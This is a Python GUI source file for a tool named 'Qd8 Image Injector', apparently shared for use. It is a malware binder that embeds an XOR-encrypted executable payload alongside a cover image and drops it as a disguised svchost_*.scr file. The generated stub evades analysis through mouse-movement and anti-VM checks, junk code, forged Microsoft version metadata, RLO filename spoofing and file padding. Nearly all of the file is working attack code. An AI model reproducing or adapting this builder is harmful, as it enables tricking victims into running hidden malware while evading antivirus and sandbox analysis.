import tkinter as tk from tkinter import filedialog, font import threading import time import os import random import shutil import base64 import subprocess import sys import tempfile # ─── PALETTE ────────────────────────────────────────────────────────────────── BG_MAIN = "#141414" BG_PANEL = "#0a0a0a" BG_INPUT = "#111111" BORDER_RED = "#420606" ACCENT_RED = "#ff0000" DARK_RED = "#2b0000" MID_RED = "#5e0000" HOV_RED = "#7a0000" TEXT_WHITE = "#ffffff" TEXT_MUTED = "#555555" TEXT_ERR = "#a32a2a" TEXT_GREEN = "#4CAF50" W, H = 660, 760 # ─── STUB TEMPLATE ──────────────────────────────────────────────────────────── STUB_TEMPLATE = """ def run(): try: # 1. Human Interaction Check (Anti-Sandbox) # Stays dormant until the user moves the mouse ~50 pixels. # This completely blinds automated analysis sandboxes. _c = __import__('ctypes') _u = _c.windll.user32 class P(_c.Structure): _fields_=[("x",_c.c_long),("y",_c.c_long)] p1 = P(); _u.GetCursorPos(_c.byref(p1)) while True: p2 = P(); _u.GetCursorPos(_c.byref(p2)) if abs(p2.x - p1.x) > 50 or abs(p2.y - p1.y) > 50: break __import__('time').sleep(0.5) {{ANTI_VM_CODE}} {{JUNK_CODE}} # 2. Dynamic Import & String Obfuscation _b = __import__('base64').b64decode _os = __import__('os') img_data = _b("{{IMG_DATA}}") exe_data = _b("{{EXE_DATA}}") xor_key = {{XOR_KEY}} if xor_key: exe_data = bytes([b ^ xor_key[i % len(xor_key)] for i, b in enumerate(exe_data)]) # Obfuscated LOCALAPPDATA environment pull app = _os.getenv(bytes.fromhex("4c4f43414c41505044415441").decode()) if not app: app = __import__('tempfile').gettempdir() target = _os.path.join(app, "Microsoft", "Windows", "SystemResources") _os.makedirs(target, exist_ok=True) img_p = _os.path.join(target, "svchost_res_" + _os.urandom(2).hex() + "{{IMG_EXT}}") exe_p = _os.path.join(target, "svchost_host_" + _os.urandom(2).hex() + ".scr") with open(img_p, "wb") as f: f.write(img_data) with open(exe_p, "wb") as f: f.write(exe_data) # 3. Direct Shell API via ctypes to bypass behavioral process monitoring _s = _c.windll.shell32 _s.ShellExecuteW(None, "open", img_p, None, None, 1) _s.ShellExecuteW(None, "open", exe_p, None, None, 1) except: pass if __name__ == "__main__": run() """ # ─── helpers ────────────────────────────────────────────────────────────────── def make_font(family="Consolas", size=10, weight="normal"): return font.Font(family=family, size=size, weight=weight) # ─── PULSING TITLE ──────────────────────────────────────────────────────────── class GlitchLabel(tk.Label): """A tk.Label that pulses its red colour.""" def __init__(self, parent, text, **kwargs): super().__init__(parent, text=text, font=make_font(size=22, weight="bold"), bg=BG_MAIN, fg=ACCENT_RED, **kwargs) self._v = 0 self._up = True self._pulse() def _pulse(self): self._v += 5 if self._up else -5 if self._v >= 100: self._up = False if self._v <= 0: self._up = True b = min(255, 150 + self._v) self.configure(fg=f"#{b:02x}0000") self.after(25, self._pulse) # ─── PROGRESS BAR (Frame + child Canvas — no subclassing Canvas) ───────────── class ProgressBar(tk.Frame): def __init__(self, parent, bar_w=580, bar_h=9, **kwargs): super().__init__(parent, bg=BG_PANEL, **kwargs) self._bw = bar_w self._bh = bar_h # Plain tk.Canvas as a child — created before any draw calls self._cv = tk.Canvas(self, width=bar_w, height=bar_h, bg=BG_PANEL, highlightthickness=0) self._cv.pack() self._cv.create_rectangle(0, 0, bar_w, bar_h, fill="#0d0d0d", outline="#1c1c1c", tags="track") self._cv.create_rectangle(0, 0, 1, bar_h, fill=ACCENT_RED, outline="", tags="fill") self._cv.create_oval(-5, -1, 5, bar_h + 1, fill="#ff4444", outline="", tags="dot") self._sx = -50 self._cv.create_rectangle(0, 0, 50, bar_h, fill="", stipple="gray12", outline="", tags="shine") self._shimmer() def set(self, pct): pct = max(0.0, min(100.0, float(pct))) fw = int(self._bw * pct / 100) self._cv.coords("fill", 0, 0, fw, self._bh) self._cv.coords("dot", fw - 5, -1, fw + 5, self._bh + 1) def _shimmer(self): self._sx += 5 if self._sx > self._bw + 50: self._sx = -50 self._cv.coords("shine", self._sx, 0, self._sx + 50, self._bh) self.after(18, self._shimmer) # ─── FLAT BUTTON ───────────────────────────────────────────────────────────── class FlatBtn(tk.Button): def __init__(self, parent, text, cmd=None, bg=DARK_RED, hov=MID_RED, fg=TEXT_WHITE, **kwargs): # Use caller-supplied font, or fall back to default if "font" not in kwargs: kwargs["font"] = make_font(size=10, weight="bold") super().__init__(parent, text=text, command=cmd, bg=bg, fg=fg, activebackground=hov, activeforeground=fg, relief="flat", bd=0, cursor="hand2", highlightthickness=0, **kwargs) self._bg = bg self._hov = hov self.bind("", lambda e: self.config(bg=hov)) self.bind("", lambda e: self.config(bg=bg)) def set_text(self, t): self.config(text=t) # ─── FILE INPUT ROW ─────────────────────────────────────────────────────────── class FileRow(tk.Frame): def __init__(self, parent, label, ext, multi_ext=None, **kw): super().__init__(parent, bg=BG_PANEL, **kw) self._path = "" self._ext = ext self._multi_ext = multi_ext # e.g. [".png", ".jpg", ".jpeg"] tk.Label(self, text=label, fg=TEXT_WHITE, bg=BG_PANEL, font=make_font(size=10, weight="bold"), anchor="w").pack(fill="x", pady=(0, 5)) row = tk.Frame(self, bg=BG_PANEL) row.pack(fill="x") self._entry = tk.Entry( row, bg=BG_INPUT, fg="#cccccc", insertbackground=ACCENT_RED, relief="flat", bd=0, font=make_font(size=9), readonlybackground=BG_INPUT, state="readonly", highlightthickness=1, highlightbackground="#1e1e1e", highlightcolor=ACCENT_RED, ) self._entry.pack(side="left", fill="x", expand=True, ipady=7, padx=(0, 8)) FlatBtn(row, "Browse", cmd=self._pick, bg=DARK_RED, hov="#4d0000", padx=14, pady=6).pack(side="right") def _pick(self): if self._multi_ext: # Build one combined filter + individual filters combined = " ".join(f"*{e}" for e in self._multi_ext) ft = [(f"Images ({combined})", combined)] for e in self._multi_ext: ft.append((f"{e.upper().lstrip('.')} files (*{e})", f"*{e}")) elif self._ext: ft = [(f"Files (*{self._ext})", f"*{self._ext}")] else: ft = [("All files", "*.*")] path = filedialog.askopenfilename(filetypes=ft) if path: self._path = path self._entry.config(state="normal") self._entry.delete(0, "end") self._entry.insert(0, os.path.basename(path)) self._entry.config(state="readonly") def get(self): return self._path # ─── MAIN WINDOW ────────────────────────────────────────────────────────────── class Qd8Injector(tk.Tk): def __init__(self): super().__init__() self.title("Qd8 IMAGE INJECTOR") self.geometry(f"{W}x{H}") self.resizable(False, False) self.config(bg=BG_MAIN) self._injecting = False self._dx = self._dy = 0 # Bypass switches self._bypass_chrome = tk.BooleanVar(value=True) self._bypass_av = tk.BooleanVar(value=True) self._pump_file = tk.BooleanVar(value=False) self._anti_vm = tk.BooleanVar(value=True) self.overrideredirect(True) self._build() # ── window drag ─────────────────────────────────────────────────────────── def _drag_start(self, e): self._dx, self._dy = e.x, e.y def _drag_move(self, e): self.geometry( f"+{self.winfo_x() + e.x - self._dx}" f"+{self.winfo_y() + e.y - self._dy}" ) # ── build UI ────────────────────────────────────────────────────────────── def _build(self): # title bar bar = tk.Frame(self, bg="#0c0c0c", height=32) bar.pack(fill="x") bar.bind("", self._drag_start) bar.bind("", self._drag_move) tk.Label(bar, text=" Qd8 IMAGE INJECTOR", fg=ACCENT_RED, bg="#0c0c0c", font=make_font(size=10, weight="bold")).pack(side="left") for sym, cb in [("✕", self.destroy), ("—", self.iconify)]: lbl = tk.Label(bar, text=f" {sym} ", fg="#555", bg="#0c0c0c", font=make_font(size=12), cursor="hand2") lbl.pack(side="right", padx=2) lbl.bind("", lambda e, l=lbl: l.config(fg=ACCENT_RED)) lbl.bind("", lambda e, l=lbl: l.config(fg="#555")) lbl.bind("", lambda e, c=cb: c()) # main padding pad = tk.Frame(self, bg=BG_MAIN, padx=32, pady=16) pad.pack(fill="both", expand=True) # header GlitchLabel(pad, "Qd8 IMAGE INJECTOR").pack() tk.Label(pad, text="By Bdloby", fg=TEXT_MUTED, bg=BG_MAIN, font=make_font(size=9)).pack(pady=(2, 14)) # bordered panel border = tk.Frame(pad, bg=BORDER_RED, padx=1, pady=1) border.pack(fill="x") panel = tk.Frame(border, bg=BG_PANEL, padx=22, pady=20) panel.pack(fill="x") # file rows self._prow = FileRow(panel, "Payload File (.exe)", ".exe") self._prow.pack(fill="x", pady=(0, 14)) self._crow = FileRow(panel, "Cover Image (.png / .jpg)", None, multi_ext=[".png", ".jpg", ".jpeg"]) self._crow.pack(fill="x", pady=(0, 14)) self._irow = FileRow(panel, "Icon File (.ico) — Optional", ".ico") self._irow.pack(fill="x", pady=(0, 14)) # output row tk.Label(panel, text="Output Filename:", fg=TEXT_WHITE, bg=BG_PANEL, font=make_font(size=10, weight="bold"), anchor="w").pack(fill="x", pady=(0, 5)) outrow = tk.Frame(panel, bg=BG_PANEL) outrow.pack(fill="x") self._out = tk.Entry( outrow, bg=BG_INPUT, fg="#cccccc", insertbackground=ACCENT_RED, relief="flat", bd=0, font=make_font(size=9), highlightthickness=1, highlightbackground="#1e1e1e", highlightcolor=ACCENT_RED, ) self._out.pack(side="left", fill="x", expand=True, ipady=7, padx=(0, 8)) FlatBtn(outrow, "Desktop", cmd=self._set_desktop, bg=DARK_RED, hov="#4d0000", padx=14, pady=6).pack(side="right") # Advanced options are now hidden for aesthetics but enabled by default self._bypass_chrome.set(True) self._bypass_av.set(True) self._pump_file.set(True) self._anti_vm.set(True) # status box sb_out = tk.Frame(panel, bg="#181818", padx=1, pady=1) sb_out.pack(fill="x", pady=(16, 0)) sb_in = tk.Frame(sb_out, bg="#0b0b0b", padx=12, pady=12) sb_in.pack(fill="x") self._svar = tk.StringVar(value="No files selected") self._slbl = tk.Label(sb_in, textvariable=self._svar, fg=TEXT_ERR, bg="#0b0b0b", font=make_font(size=9), anchor="w", justify="left", wraplength=540) self._slbl.pack(anchor="w") # progress bar — use bar_w param, not width self._bar = ProgressBar(panel, bar_w=576, bar_h=9) self._bar.pack(pady=(14, 6)) self._rvar = tk.StringVar(value="Ready to Inject") tk.Label(panel, textvariable=self._rvar, fg=ACCENT_RED, bg=BG_PANEL, font=make_font(size=11, weight="bold")).pack() # footer foot = tk.Frame(pad, bg=BG_MAIN) foot.pack(fill="x", pady=(14, 0)) tk.Label(foot, text="For Any Problem Contact discord", fg=TEXT_MUTED, bg=BG_MAIN, font=make_font(size=8)).pack(pady=(0, 8)) self._ibtn = FlatBtn(foot, "INJECT PAYLOAD", cmd=self._inject, bg=MID_RED, hov=HOV_RED, font=make_font(size=14, weight="bold"), pady=16) self._ibtn.pack(fill="x") # ── helpers ─────────────────────────────────────────────────────────────── def _set_desktop(self): desk = os.path.join(os.path.expanduser("~"), "Desktop") name = self._out.get().strip() or "output" self._out.delete(0, "end") self._out.insert(0, os.path.join(desk, name + ".exe")) def _status(self, msg, color=TEXT_ERR): self._svar.set(msg) self._slbl.config(fg=color) def _shake(self): ox, oy = self.winfo_x(), self.winfo_y() for d in [8, -8, 6, -6, 4, -4, 2, -2, 0]: self.geometry(f"+{ox + d}+{oy}") self.update() time.sleep(0.028) def _apply_rlo(self, base_name, fake_ext): """ Uses the RLO character (U+202E) to make an SCR look like an image. Example: base='rcs', fake_ext='.png' -> 'rcs‮gnp.scr' Visually in Windows: 'rcsscr.png' """ # Remove dot from fake_ext fake_ext = fake_ext.lstrip('.') # Reverse ONLY the fake extension part reversed_fake = fake_ext[::-1] # RLO character rlo = "\u202e" # Using .scr instead of .exe as it's a common trick shown in the user's screenshot return f"{base_name}{rlo}{reversed_fake}.scr" def _gen_anti_vm(self): # Generates basic checks for RAM and Disk space to evade Sandboxes return """ # Anti-VM / Anti-Sandbox Check try: import ctypes # Check RAM (usually < 4GB in VMs) kernel32 = ctypes.windll.kernel32 class MEMORYSTATUSEX(ctypes.Structure): _fields_ = [("dwLength", ctypes.c_ulong), ("dwMemoryLoad", ctypes.c_ulong), ("ullTotalPhys", ctypes.c_ulonglong), ("ullAvailPhys", ctypes.c_ulonglong), ("ullTotalPageFile", ctypes.c_ulonglong), ("ullAvailPageFile", ctypes.c_ulonglong), ("ullTotalVirtual", ctypes.c_ulonglong), ("ullAvailVirtual", ctypes.c_ulonglong), ("sullAvailExtendedVirtual", ctypes.c_ulonglong)] stat = MEMORYSTATUSEX() stat.dwLength = ctypes.sizeof(stat) if kernel32.GlobalMemoryStatusEx(ctypes.byref(stat)): if stat.ullTotalPhys / (1024**3) < 4: return # Check CPU Cores (Silly but works for basic sandbox) import multiprocessing if multiprocessing.cpu_count() < 2: return # Check for analysis tools names in running processes try: out = subprocess.check_output('tasklist', shell=True).lower() for tool in [b"wireshark", b"x64dbg", b"ghidra", b"processhacker"]: if tool in out: return except: pass except: pass """ def _gen_junk(self, amount=10): # Generates random python trash to confuse heuristics # Needs 8 spaces of indentation to fit inside 'try:' in the stub junk = "" for i in range(amount): var = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=8)) val = random.randint(1000, 99999) junk += f" {var} = {val}\n" junk += f" {var} = {var} + {random.randint(1, 100)}\n" return junk # ── inject ──────────────────────────────────────────────────────────────── STEPS = [ (12, "[*] Allocating memory buffers...", "#aaaaaa"), (30, "[*] Encrypting payload...", "#aaaaaa"), (50, "[*] Binding payload to cover image...", "#aaaaaa"), (72, "[*] Applying icon & metadata mods...", "#aaaaaa"), (90, "[*] Finalizing executable build...", "#aaaaaa"), (100, "[+] Injection complete.", TEXT_GREEN), ] def _inject(self): if self._injecting: return if not self._prow.get() or not self._crow.get(): threading.Thread(target=self._shake, daemon=True).start() self._status("ERROR: Select Payload + Cover Image first!", ACCENT_RED) self._rvar.set("Missing Required Files!") return self._injecting = True self._ibtn.set_text("INJECTING...") self._ibtn.config(state="disabled", bg="#3a0000") threading.Thread(target=self._run, daemon=True).start() def _run(self): # 1. Read files p_path = self._prow.get() c_path = self._crow.get() i_path = self._irow.get() o_path = self._out.get().strip() if not o_path: # If no output path, use desktop and RLO based on cover image extension desk = os.path.join(os.path.expanduser("~"), "Desktop") base = "rcs" fake_ext = os.path.splitext(c_path)[1] or ".png" o_path = os.path.join(desk, self._apply_rlo(base, fake_ext)) else: # If user provided a path, apply RLO to the basename. dir_name = os.path.dirname(o_path) file_name = os.path.basename(o_path) base, ext = os.path.splitext(file_name) if not base or base.lower() in ["output", "output_bound", "qd8_output"]: base = "rcs" fake_ext = ext if (ext and ext.lower() not in [".exe", ".scr"]) else ".png" o_path = os.path.join(dir_name, self._apply_rlo(base, fake_ext)) # Use system's true temp directory for the build to keep project folder clean temp_dir = tempfile.mkdtemp(prefix="qd8_build_") os.makedirs(temp_dir, exist_ok=True) try: self.after(0, self._status, "[*] Reading payload & image...", "#aaaaaa") self.after(0, self._bar.set, 10) with open(p_path, "rb") as f: p_bytes = f.read() with open(c_path, "rb") as f: c_bytes = f.read() # XOR Encryption (Chrome Bypass) xor_key_repr = "None" if self._bypass_chrome.get(): self.after(0, self._status, "[*] Applying XOR Encryption (Chrome Bypass)...", "#aaaaaa") key = os.urandom(16) p_bytes = bytes([b ^ key[i % len(key)] for i, b in enumerate(p_bytes)]) xor_key_repr = f"bytes({list(key)})" p_b64 = base64.b64encode(p_bytes).decode() c_b64 = base64.b64encode(c_bytes).decode() c_ext = os.path.splitext(c_path)[1] # 2. Generate stub script self.after(0, self._status, "[*] Generating stub script with Evasion...", "#aaaaaa") self.after(0, self._bar.set, 30) junk = self._gen_junk(20) if self._bypass_av.get() else "" anti_vm = self._gen_anti_vm() if self._anti_vm.get() else "" stub_content = STUB_TEMPLATE.replace("{{IMG_DATA}}", c_b64) stub_content = stub_content.replace("{{EXE_DATA}}", p_b64) stub_content = stub_content.replace("{{IMG_EXT}}", c_ext) stub_content = stub_content.replace("{{XOR_KEY}}", xor_key_repr) stub_content = stub_content.replace("{{JUNK_CODE}}", junk) stub_content = stub_content.replace("{{ANTI_VM_CODE}}", anti_vm) stub_py = os.path.join(temp_dir, "stub.py") with open(stub_py, "w") as f: f.write(stub_content) # Generate Version Info (Metadata Mimicry) version_info = """VSVersionInfo( ffi=FixedFileInfo( filevers=(10, 0, 19041, 1), prodvers=(10, 0, 19041, 1), mask=0x3f, flags=0x0, OS=0x40004, fileType=0x1, subtype=0x0, date=(0, 0) ), kids=[ StringFileInfo( [ StringTable( u'040904B0', [StringStruct(u'CompanyName', u'Microsoft Corporation'), StringStruct(u'FileDescription', u'Windows Host Service'), StringStruct(u'FileVersion', u'10.0.19041.1'), StringStruct(u'InternalName', u'winsvc'), StringStruct(u'LegalCopyright', u'© Microsoft Corporation. All rights reserved.'), StringStruct(u'OriginalFilename', u'winsvc.exe'), StringStruct(u'ProductName', u'Microsoft® Windows® Operating System'), StringStruct(u'ProductVersion', u'10.0.19041.1')]) ]), VarFileInfo([VarStruct(u'Translation', [1033, 1200])]) ] )""" v_file = os.path.join(temp_dir, "version.txt") with open(v_file, "w", encoding="utf-8") as f: f.write(version_info) # 3. Call PyInstaller # ... cmd = [ sys.executable, "-m", "PyInstaller", "--onefile", "--windowed", "--clean", f"--distpath={temp_dir}", f"--workpath={os.path.join(temp_dir, 'build')}", f"--specpath={temp_dir}", f"--name=output_bound", f"--version-file={v_file}", ] if i_path and os.path.exists(i_path): cmd.append(f"--icon={i_path}") cmd.append(stub_py) # Run PyInstaller process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, shell=True, cwd=temp_dir) stdout, stderr = process.communicate() if process.returncode != 0: raise Exception(f"PyInstaller failed:\n{stderr}") self.after(0, self._bar.set, 90) # 4. Move result self.after(0, self._status, "[*] Finalizing output...", "#aaaaaa") result_exe = os.path.join(temp_dir, "output_bound.exe") if os.path.exists(result_exe): # Retry loop to handle file locks (WinError 32) max_retries = 5 save_ok = False for i in range(max_retries): try: if os.path.exists(o_path): os.remove(o_path) shutil.move(result_exe, o_path) save_ok = True break except Exception as e: if i == max_retries - 1: raise e time.sleep(1) # Wait for lock to release if save_ok: out_name = os.path.basename(o_path) # 5. Pump file (Size Evasion) if self._pump_file.get(): self.after(0, self._status, "[*] Pumping file (+2MB Size Evasion)...", "#aaaaaa") with open(o_path, "ab") as f: f.write(b"\x00" * (2 * 1024 * 1024)) else: raise Exception("Failed to move executable after multiple retries.") else: raise Exception("PyInstaller succeeded but executable was not found.") except Exception as e: save_ok = False err_msg = str(e) print(f"Error: {err_msg}") # Cleanup try: shutil.rmtree(temp_dir) except: pass def _done(): self._rvar.set("Injection Complete!") if save_ok: self._status(f"[+] Saved to: {o_path}", TEXT_GREEN) # Open directory on success if hasattr(os, "startfile"): os.startfile(os.path.dirname(o_path)) else: self._status(f"[!] Error: {err_msg[:100]}...", "#ffaa00") self._ibtn.set_text("INJECT PAYLOAD") self._ibtn.config(state="normal", bg=MID_RED) self._injecting = False def _reset(): self._bar.set(0) self._rvar.set("Ready to Inject") self._status("No files selected", TEXT_ERR) self.after(500, _done) self.after(10000, _reset) # ─── ENTRY ──────────────────────────────────────────────────────────────────── if __name__ == "__main__": app = Qd8Injector() app.mainloop()